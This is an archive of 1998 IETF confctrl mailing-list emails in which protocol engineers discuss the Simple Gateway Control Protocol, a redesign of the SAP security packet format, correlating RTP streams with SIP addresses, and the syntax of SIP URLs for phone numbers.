Received: from waffle.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.04606-0@bells.cs.ucl.ac.uk>; Thu, 21 May 1998 08:23:32 +0100
To: "David R. Oran" <oran@cisco.com>
cc: Christian Huitema <huitema@bellcore.com>, Confctrl <confctrl@ISI.EDU>
Subject: Re: Simple Gateway Control Protocol
In-reply-to: Your message of "Wed, 20 May 1998 21:07:47 EDT." <000301bd8454$de19e440$eb5645ab@OranLT.cisco.com>
Date: Thu, 21 May 1998 08:23:29 +0100
Message-ID: <658.895735409@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


In message <000301bd8454$de19e440$eb5645ab@OranLT.cisco.com>, "David R. Oran" t
yped:

 >>Jon, as usual very perceptive impressions, but let me offer a few comments
 >>which may shed a different light on this:
 

thanks! you've cleared up some stuff nicely as per usual

 >>> -----Original Message-----
 >>> From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU]On Behalf Of
 >>> Jon Crowcroft
 >>> Sent: Wednesday, May 20, 1998 3:33 AM
 >>> To: Christian Huitema
 >>> Cc: confctrl@ISI.EDU
 >>> Subject: Re: Simple Gateway Control Protocol

 >>> In message <980518172111.ZM19606@seawind.bellcore.com>, Christian
 >>> Huitema typed
 >>> :
 
 >>> at first sight, this is remarkably bellhead approach -

 >>Yes, absolutely. The protocol's niche is in fact primarily for taking a bell
 >>which has been cracked into two pieces and an IP network inserted in the
 >>middle to glue it back together. Since you are starting with a bell and
 >>ending with a bell, a bellhead approach is a reasonably good impedance match
 >>:-)
sure

 >>> a) no soft state
 >>This isn't entirely accurate. The call agent side has hard state, because at
 >>least one of the things the gateways are hooked to is bound to have hard
 >>state (i.e. the PSTN side or sides) and there isn't a lot to be gained by
 >>making one "hop" of the chain of hard state a bit softer. On the other hand,
 >>the gateways have much softer state - in fact they have practically no state
 >>at all - and they can survive things like one call agent disappearing and
 >>another taking over in the middle of a call.
 

aha - ok - thats just fien then - excellent (but perhaps it could be
stated more strongly/clearly i na next version of the spec/draft)

 >>> b) gateways appear to be modelled on systems that have _detailed
 >>> knowledge_ of the internals of the PSTN side.....

 >>Not really. The gateways know only that they are converting packet streams
 >>to TDM streams (or possibly one packet stream into something else...like a
 >>cell stream) and they are being told by the call agent how to provision the
 >>conversion for a particular RTP stream going to/from a particular endpoint.
 >>The call agents, on the other hand *do* have detailed internal knowledge of
 >>the PSTN and in fact may look like bone-fide SSP's to a carrier's SS7
 >>control network.

ok - great....
 >>
 >>> this is fine, but we need provision for systems that are
 >>> i) resilient to connectivity failures (e.g. where there are no PSTN
 >>> call charges, yo ucould envisage timing out and lettign an IPTEL side
 >>> use a second gateway to reesablish the call a la rsvp without route
 >>> pinning, to use a poor loose analogy)
 >>You can do this with SGCP precisely because you can move RTP streams around
 >>without screwing up the signaling state that the PSTN knows about. I'd claim
 >>that for the particular set of applications this approach is actually
 >>superior to the approach where the gateways hold the PSTN signaling state
 >>because you then can't easily re-target the RTP stream without messing with
 >>the PSTN signaling.
 
 >>> ii) allows gateways that are strictly external to the PSTN and just
 >>> use access as an ordianry customer

 >>I'm not sure I understand this point. I would expect such gateways to be not
 >>terribly cost effective and possibly illegal in some places. In any event,
 >>as you point out there are existing solutions where you don't need
 >>end-to-end PSTN transparency - SIP and H.323 do these things quite
 >>adeqautely.

sure - the goal though is just a more general (even if less efficient)
model

 >>> at least one national regulator i can think of would require this....

 >>Where? This is exactly backwards from the U.S. and Canada where the
 >>regulations and tarriffs are  biased to putting the gateways inside reach of
 >>the SS7 cloud.
 
sorry - i wasnt clear:
the regulator in the UK  would not _stop_ yo uusing this system
but would require the external version inthe previous para
so that non telcos could use telcos nets to offer this service....so
its an extension i'm asking, not a restriction....

albeit, as yo usay, a probably very iniefficient, costly, and in some
places also disallowed one...!

 cheers

   jon


From confctrl-owner  Thu May 21 02:09:41 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA01081
	for confctrl-outgoing; Thu, 21 May 1998 02:09:41 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA01076
	for <confctrl@zephyr.isi.edu>; Thu, 21 May 1998 02:09:38 -0700 (PDT)
Received: from proxy4.ba.best.com (root@proxy4.ba.best.com [206.184.139.15])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id CAA26998
	for <confctrl@isi.edu>; Thu, 21 May 1998 02:09:37 -0700 (PDT)
Received: from kaipara.live.com (kaipara.live.com [206.86.37.12] (may be forged)) by proxy4.ba.best.com (8.8.8/8.8.BEST) with SMTP id CAA02821 for <confctrl@isi.edu>; Thu, 21 May 1998 02:08:08 -0700 (PDT)
Message-Id: <3.0.5.16.19980521002613.2d8703be@shell7.ba.best.com>
X-Sender: rsf@shell7.ba.best.com
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (16)
Date: Thu, 21 May 1998 00:26:13
To: confctrl@ISI.EDU
From: Ross Finlayson <finlayson@lvn.com>
Subject: Revisiting the SAP (with security) format
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I've recently been reviewing the SAP Security..." draft, motivated by
thinking about how it might be used in the future as the basis of a more
general multicast data architecture.  (For instance, it'd be nice to
eventually be able to support more general multicast data caches/proxies,
rather than ones that understand only SAP.)

In summary, the proposed SAP security mechanisms seem pretty good, but I
have some comments about parts of the spec that remain unclear.  I also
think that the most recently proposed packet format for SAP+security is
rather ugly, largely due to an (unnecessary) goal of retaining
compatibility with the existing SAP format.  In this light, I believe we
should reexamine this packet format, to see if we can clean it up somewhat,
and make it a bit more general.

1/ Unclear parts of the specification
=====================================

- What does the AH cover?
The SAP Security spec doesn't make clear exactly which parts of the packet
are covered by the digital signature in the Authentication Header (AH).  It
should, I presume, cover the entire packet (except for the digital
signature itself, of course).  But this needs to be clearly stated.  Note,
BTW, that the original "sap-01" draft implies that the data that precedes
the AH is *not* covered by the signature.  If true, then this seems totally
wrong, because (for example) it would allow someone to turn a 'create'
message into a 'delete'.

- The "Signature Length" field in the AH
The spec doesn't say what the units of this length are.  I presume it's
"bytes", because no padding bit defined for just the signature part of the
AH.  (If so, then is 2048 bits (==(2^8)*8) enough for the signature?)

I'm also not thrilled by the fact that this field is defined to be present
for all authentication schemes, yet is useful with only one authentication
scheme (PGP+certificate).  It would be better to define this field as being
part of the "Format Specific Authentication Subheader" for the
"PGP+certificate" scheme only.  (That way, these 8 bits would not be wasted
with other authentication schemes.)

- How to distinguish between symmetric and assymmetric privacy headers?
The explanation, in section 3.3.1, of how a receiver is supposed to figure
out which kind of privacy header is being used, is very unclear, IMHO.
[BTW, I'm pretty much agnostic as to whether part of the privacy header
should be standardized to make this easier (as Bill Lewis & Peter Kirstein
suggested last month.)  I'd be happy just to see a clearer explanation in
the spec.]

2/ Cleaning up the "SAP+security" packet format
====================================================

I have no complaint with the proposed security mechanisms (& their
associated packet formats).  However, the overall layout of the
"SAP+security" packet seems rather inelegant, apparently due to a desire to
reuse the previous SAP (v1) packet format.  This, however, seems
unnecessary, because the "SAP+security" spec already assumes that a new
protocol version (2) will be used.

So, as long as we retain the "SAP version number" field (in the same
position), we should feel free to consider improvements to the packet
format.  Any minor implementation inconvenience for receivers that wish to
understand both SAPv1 and SAPv2 is outweighed, IMHO, by the benefits of
having a cleaner, more general SAPv2 format for the future.  (Also, to my
knowledge, few, if any, people outside University College London have yet
implemented the recently proposed format.)

There are two main things that I dislike about the current SAP+security
proposal:

- Too many optional fields/subheaders.
In protocol design, optional fields should be avoided as much as possible.
The Authentication Header should instead be made a *manditory* part of the
packet.  (In the future, the use of digital signatures is likely to be
commonplace, if not ubiquitous.)  To support unauthenticated data (as in
the current SAP), we could define a special Authentication Type code to
mean "unauthenticated".  (This could be Authentication Code zero - which is
currently unused.)

The "Timeout" field should also be manditory.  This not only makes it
possible to use the same packet format for other kinds of data than SDP,
but also simplifies the implementation of SDP-only caches: They will be
able look in only one place for 'timeout' information, rather than having
to look in one place (the binary "Timeout" field) for encrypted
announcements, and in another place (an ASCII field inside the SDP data,
possibly after gzip decompression) for unencrypted announcements.

The cost of making the "Timeout" field manditory - an extra 4 bytes in the
case where the payload is unencrypted SDP data - is worth paying for this
simplicity, I believe.

On the other hand, I'd be willing to keep the privacy header optional.
However, if we end up deciding to adopt a standardized privacy header, then
even this could be made manditory.  (We might, for example, rename this as
something like the "Data Transformation Specifier", in which case it could
include the gzip compression ("C) bit, as well as indicating when data is
unencrypted - i.e., the null transformation.)

- The "message id hash" and "originating source" fields are an
implementation-specific hack.
These two fields are intended to be combined and used by receivers
(caches/proxies or endpoints) - after verifying the Authentication Header -
as a 'key' for quickly detecting whether the announcement is identical to
one that has already been received.  That is, these fields are intended to
provide support for a particular performance optimization by receivers.

In many case, however, receivers might wish to perform the identity test in
a completely different way.  In particular, for authenticated
announcements, they may instead wish to use the message digest (which has
already been computed as part of the authentication check) for the identity
check.

For this reason, I propose removing these two fields from the fixed header.
 Instead, they could be defined as part of the "Format Specific
Authentication Subheader" for the "unauthenticated" Authentication Type
only.  (So, receivers could continue to use this information for the
identity check of unauthenticated announcements, where there's no message
digest for receivers to use.)

Note, BTW, that the "originating source" also has the problem of being
IPv4-specific.  It's also the only IP protocol-related data in the header.
By removing it - at least in the case of authenticated announcements - we
can make SAP packets independent of IP.

Finally, here is a possible outline of a redesigned "SAP+security" packet
format:

                     1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| V=2 |P|AuthTyp| Auth Hdr Lngth|    Authentication Header      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              Authentication Header (continued)                |
|                       ..............                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      Timeout                                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MT (6 bits)|E|C|         Privacy Header (optional)             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                 Privacy Header (continued)                    |
|                       ..............                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          Payload                              |
|                       ..............                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+


Note that allocating more bits (than the current 3) to the "Message Type"
(MT) field gives us more flexibility if we wish to use this packet format
for data other than SAP in the future.

	Ross.


From confctrl-owner  Thu May 21 07:56:06 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA03658
	for confctrl-outgoing; Thu, 21 May 1998 07:56:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA03653
	for <confctrl@zephyr.isi.edu>; Thu, 21 May 1998 07:56:05 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA09597
	for <confctrl@isi.edu>; Thu, 21 May 1998 07:56:03 -0700 (PDT)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Thu May 21 10:55:29 EDT 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id KAA12895;
	Thu, 21 May 1998 10:55:27 -0400 (EDT)
Message-ID: <35643FEA.A5FB8638@dnrc.bell-labs.com>
Date: Thu, 21 May 1998 10:53:30 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: rem-conf@es.net, confctrl@ISI.EDU
Subject: SIP and RTP correlations
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I believe there is a need to be able to associate RTP packets with the
SIP address of the entity which generated them. There are a few examples
of where this is useful:

1. In a multicast conference, you hear audio from someone and want to
invite them to a side conference using SIP. 
2. You sent out a SIP INVITE, and got two 200 responses, both of which
are ACK'ed. The caller now receives audio from both sources to the same
port. How does it know which RTP stream is associated with which SIP
entity? Such correlation is needed for various UI features.

There seem to be a number of possible solutions:

1. Include the CNAME as a header somewhere in the SIP INVITE message or
SDP. This solves problem 2 above, but not problem 1.
2. Include the SSRC as a header somewhere in the SIP INVITE or SDP. This
also solves problem 2, but not 1. It has the additional drawback that
SSRC are not fixed, and may change due to a collision.
3. Use the EMAIL SDES item. For problem (1), you would send a SIP invite
to the address listed in the email identifier. For problem (2), the
email identifier could be matched with the contents of the Location
header to perform the correlation. The problem here is that SIP
addresses need not be the same as the user's email address.
4. Add a new SDES item, called SIP-CADDR, which contains the user's SIP
address. The ITU folks did a similar thing for H.332; they have
registered an H.323-CADDR type used for solving problem (1). 

Comments or other possibilities?

Thanks,
Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu May 21 08:43:34 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA04531
	for confctrl-outgoing; Thu, 21 May 1998 08:43:34 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA04526
	for <confctrl@zephyr.isi.edu>; Thu, 21 May 1998 08:43:33 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA12250
	for <confctrl@isi.edu>; Thu, 21 May 1998 08:43:31 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id LAA29476; Thu, 21 May 1998 11:43:28 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id LAA19305; Thu, 21 May 1998 11:43:27 -0400 (EDT)
Message-ID: <35644B9F.646A@cs.columbia.edu>
Date: Thu, 21 May 1998 11:43:27 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.03 (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: rem-conf@es.net, confctrl@ISI.EDU
Subject: Re: SIP and RTP correlations
References: <35643FEA.A5FB8638@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> 
> I believe there is a need to be able to associate RTP packets with the
> SIP address of the entity which generated them. There are a few examples
> of where this is useful:
> 
> 1. In a multicast conference, you hear audio from someone and want to
> invite them to a side conference using SIP.
> 2. You sent out a SIP INVITE, and got two 200 responses, both of which
> are ACK'ed. The caller now receives audio from both sources to the same
> port. How does it know which RTP stream is associated with which SIP
> entity? Such correlation is needed for various UI features.
> 

> 4. Add a new SDES item, called SIP-CADDR, which contains the user's SIP
> address. The ITU folks did a similar thing for H.332; they have
> registered an H.323-CADDR type used for solving problem (1).

Only solution (4) seems generic enough, and we definitely want to avoid
making SSRCs visible outside RTP as much as we can. Given the bandwidth
limitation of the RTCP channel, allowing re-use of the same identifier
is helpful, since having

H323-CADDR: foo@bar
SIP-CADDR: foo@bar
WhitePine-CADDR: foo@bar

is very inefficient, in particular since it is likely that many of these
addresses are going to be of the user@host variety. We could use
something like

CADDR: {sip,h323,whitepine}:foo@bar

or a binary equivalent.

From confctrl-owner  Thu May 21 10:54:16 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA08297
	for confctrl-outgoing; Thu, 21 May 1998 10:54:16 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA08291
	for <confctrl@zephyr.isi.edu>; Thu, 21 May 1998 10:54:14 -0700 (PDT)
Received: from arthur.axion.bt.co.uk (arthur.axion.bt.co.uk [132.146.5.4])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA25361
	for <confctrl@ISI.EDU>; Thu, 21 May 1998 10:54:12 -0700 (PDT)
Received: from rambo (actually rambo.futures.bt.co.uk) 
          by arthur.axion.bt.co.uk (PP) with SMTP;
          Thu, 21 May 1998 18:50:16 +0100
Received: from mussel.futures.bt.co.uk (actually mussel) by rambo 
          with SMTP (PP); Thu, 21 May 1998 12:08:39 +0100
Received: by mussel.futures.bt.co.uk with Microsoft Exchange (IMC 4.0.837.3) 
          id <01BD84B0.99D7D010@mussel.futures.bt.co.uk>;
          Thu, 21 May 1998 12:04:26 +0100
Message-ID: <c=GB%a=_%p=BT%l=HERCULES-980521110755Z-15753@mussel.futures.bt.co.uk>
From: Pete Cordell <pete.cordell@bt-sys.bt.co.uk>
To: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: RE: SIP URLs: phone numbers
Date: Thu, 21 May 1998 12:07:55 +0100
X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.837.3
Encoding: 75 TEXT
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning,

When I tried to look at this my thought was to put the type of address
in the field typically occupied by the password so that you would get
something like:

	sip:+123456:tel@usr.example.net

If a password is needed then it could be appended as a parameter at the
end of the URL, as in:

	sip:+123456:tel@usr.example.net;password=claudia

Another problem occurs if you want to make a SIP call to somebody with
an e-mail address at a particular server.  For example, connecting to
some one with an e-mail address of john.doe@big-isp.com via a sip server
at clearing.org would look something like:

	sip:john.doe@big-isp.com:mailto@clearing.org

My solution to this was to insist that the first @ should be represented
in its escape code form (%40) so you get:

	sip:john.doe%40big-isp.com:mailto@clearing.org

However, the URL resolver would be well advised not to barf on having
two @ signs!

This is not beautiful, but I think it is better than relying on
heuristics like whether the value starts with a + etc.  One reason for
this is that I feel 'telephone' numbers should be fully qualified for
the domain in which they operate.  This may mean that it doesn't have to
be a full international number.  For example URLs that are limited in
scope to a certain location as might be found in an intranet should not
have to be full international numbers.  Also, corporations should be
able to have corporate wide integrated number plans for private networks
that are not necessarily full international numbers.  For example,
apparently I can be reached from any where in my corporation with the
number *71646436.

Regards,

Pete

=================================
Pete Cordell
BT Labs
E-Mail: pete.cordell@bt-sys.bt.co.uk
Tel: +44 1473 646436
Fax: +44 1473 645499
-------------------------------------------------------------
Notice:  This contribution is the personal view of the author and 
does not necessarily reflect the technical nor commercial direction 
of British telecommunications plc.
=================================


>----------
>From: 	Christian Huitema[SMTP:huitema@bellcore.com]
>Sent: 	20 May 1998 18:06
>To: 	Henning Schulzrinne; confctrl@ISI.EDU
>Subject: 	Re: SIP URLs: phone numbers
>
>Henning,
>
>A gateway handling both names and numbers could easily use two
>DNS names, like "user1@usr.example.net" and
>"1234567@phone.example.net",
>yet make the two domains synonym (using CNAME).
>
>-- 
>Christian Huitema
>----------
>See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/
>

From confctrl-owner  Thu May 21 13:28:06 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA12571
	for confctrl-outgoing; Thu, 21 May 1998 13:28:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA12566
	for <confctrl@zephyr.isi.edu>; Thu, 21 May 1998 13:28:03 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA12381
	for <confctrl@ISI.EDU>; Thu, 21 May 1998 13:28:00 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id QAA14518; Thu, 21 May 1998 16:27:52 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id QAA20466; Thu, 21 May 1998 16:27:51 -0400 (EDT)
Message-ID: <35648E47.84C836D8@cs.columbia.edu>
Date: Thu, 21 May 1998 16:27:51 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Pete Cordell <pete.cordell@bt-sys.bt.co.uk>
CC: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: SIP URLs: phone numbers
References: <c=GB%a=_%p=BT%l=HERCULES-980521110755Z-15753@mussel.futures.bt.co.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Pete Cordell wrote:
> 
> Henning,
> 
> When I tried to look at this my thought was to put the type of address
> in the field typically occupied by the password so that you would get
> something like:
> 
>         sip:+123456:tel@usr.example.net
> 
> If a password is needed then it could be appended as a parameter at the
> end of the URL, as in:
> 
>         sip:+123456:tel@usr.example.net;password=claudia

Another possibility is to make use of the parameters, such as

sip:123456@example.net;e164

This has the advantage of being compliant with "standard" (mailto,
telnet) URLs.

> 
> Another problem occurs if you want to make a SIP call to somebody with
> an e-mail address at a particular server.  For example, connecting to
> some one with an e-mail address of john.doe@big-isp.com via a sip server
> at clearing.org would look something like:
> 
>         sip:john.doe@big-isp.com:mailto@clearing.org
> 
> My solution to this was to insist that the first @ should be represented
> in its escape code form (%40) so you get:
> 
>         sip:john.doe%40big-isp.com:mailto@clearing.org
> 
> However, the URL resolver would be well advised not to barf on having
> two @ signs!

Email has traditionally approached this problem with addresses like

joe%big-isp.com@clearing.org

or, escaped correctly for SIP,

sip:joe%25big-isp.com@clearing.org


> 
> This is not beautiful, but I think it is better than relying on
> heuristics like whether the value starts with a + etc.  One reason for
> this is that I feel 'telephone' numbers should be fully qualified for
> the domain in which they operate.  This may mean that it doesn't have to
> be a full international number.  For example URLs that are limited in
> scope to a certain location as might be found in an intranet should not
> have to be full international numbers.  Also, corporations should be
> able to have corporate wide integrated number plans for private networks
> that are not necessarily full international numbers.  For example,
> apparently I can be reached from any where in my corporation with the
> number *71646436.
> 
> Regards,
> 
> Pete
> 
> =================================
> Pete Cordell
> BT Labs
> E-Mail: pete.cordell@bt-sys.bt.co.uk
> Tel: +44 1473 646436
> Fax: +44 1473 645499
> -------------------------------------------------------------
> Notice:  This contribution is the personal view of the author and
> does not necessarily reflect the technical nor commercial direction
> of British telecommunications plc.
> =================================
> 
> >----------
> >From:  Christian Huitema[SMTP:huitema@bellcore.com]
> >Sent:  20 May 1998 18:06
> >To:    Henning Schulzrinne; confctrl@ISI.EDU
> >Subject:       Re: SIP URLs: phone numbers
> >
> >Henning,
> >
> >A gateway handling both names and numbers could easily use two
> >DNS names, like "user1@usr.example.net" and
> >"1234567@phone.example.net",
> >yet make the two domains synonym (using CNAME).
> >
> >--
> >Christian Huitema
> >----------
> >See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/
> >

-- 
Henning Schulzrinne   schulzrinne@cs.columbia.edu
Dept. of Comp. Sci.   ph  +1 212 939-7042
Columbia University   fax +1 212 666-0140
New York, NY 10027    http://www.cs.columbia.edu/~hgs

From confctrl-owner  Fri May 22 06:02:59 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA25277
	for confctrl-outgoing; Fri, 22 May 1998 06:02:59 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA25272
	for <confctrl@zephyr.isi.edu>; Fri, 22 May 1998 06:02:57 -0700 (PDT)
Received: from notes950.cc.bellcore.com (notes950.cc.bellcore.com [128.96.115.72])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA13538
	for <confctrl@isi.edu>; Fri, 22 May 1998 06:02:55 -0700 (PDT)
From: dshrader@notes.cc.bellcore.com
Received: by notes950.cc.bellcore.com(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 8525660C.00479B4B ; Fri, 22 May 1998 09:02:08 -0400
X-Lotus-FromDomain: BELLCORE
To: confctrl@ISI.EDU
Message-ID: <8525660C.00464474.00@notes950.cc.bellcore.com>
Date: Fri, 22 May 1998 08:56:50 -0400
Subject: SIP architecture question
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


I have been studying the SIP protocol and have a question about
architecture assumptions for the location of the SIP client for multimedia
conferencing.

For PINT use, two basic alternatives for a SIP client are discussed:
(assuming SIP is to be used for PINT :-).

1. The PINT client is located at a web server:

     User --- (HTTP) ---> web server/pint client --- (SIP) ---> pint server

2. The PINT client is located at the user's machine:

     User/pint client  --- (SIP) ---> pint server

For multimedia conference use, it is clear that the SIP client is most
likely located at the user's machine. Is this a requirement? Is the
"remote" alternative possible? That is, will SIP work for this application
if it is located at a web server and the communication to the user machine
is through some other mechanism (i.e., HTTP)? Is there some kind of
interaction with SDP and RTP that prevents this?

Can anyone help me out here?

Thanks,
David


-------------------------------------
David Shrader
Bellcore
IN Design and Engineering



From confctrl-owner  Fri May 22 06:50:37 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA25843
	for confctrl-outgoing; Fri, 22 May 1998 06:50:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA25838
	for <confctrl@zephyr.isi.edu>; Fri, 22 May 1998 06:50:35 -0700 (PDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA14853
	for <confctrl@ISI.EDU>; Fri, 22 May 1998 06:50:27 -0700 (PDT)
Received: from eucharisto.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.23676-0@bells.cs.ucl.ac.uk>; Fri, 22 May 1998 14:44:34 +0100
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
cc: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>, rem-conf@es.net,
        confctrl@ISI.EDU
Subject: Re: SIP and RTP correlations
In-reply-to: Your message of "Thu, 21 May 1998 11:43:27 EDT." <35644B9F.646A@cs.columbia.edu>
Date: Fri, 22 May 1998 14:44:32 +0100
Message-ID: <1520.895844672@cs.ucl.ac.uk>
From: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> Henning Schulzrinne writes:
>Jonathan Rosenberg wrote:
...
>> 4. Add a new SDES item, called SIP-CADDR, which contains the user's SIP
>> address. The ITU folks did a similar thing for H.332; they have
>> registered an H.323-CADDR type used for solving problem (1).
>
>Only solution (4) seems generic enough, and we definitely want to avoid
>making SSRCs visible outside RTP as much as we can. Given the bandwidth
>limitation of the RTCP channel, allowing re-use of the same identifier
>is helpful, since having
>
>H323-CADDR: foo@bar
>SIP-CADDR: foo@bar
>WhitePine-CADDR: foo@bar
>
>is very inefficient, in particular since it is likely that many of these
>addresses are going to be of the user@host variety. We could use
>something like
>
>CADDR: {sip,h323,whitepine}:foo@bar

Could we use the CNAME? Put a sip: url in there? The media tools will have
to be modified anyway, to send out SIP-CADDR. This also avoids having a
proliferation of sdes packet types...

Colin

From confctrl-owner  Fri May 22 07:56:55 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA27014
	for confctrl-outgoing; Fri, 22 May 1998 07:56:55 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA27005
	for <confctrl@zephyr.isi.edu>; Fri, 22 May 1998 07:56:53 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA17557
	for <confctrl@isi.edu>; Fri, 22 May 1998 07:56:51 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id KAA23554; Fri, 22 May 1998 10:56:50 -0400
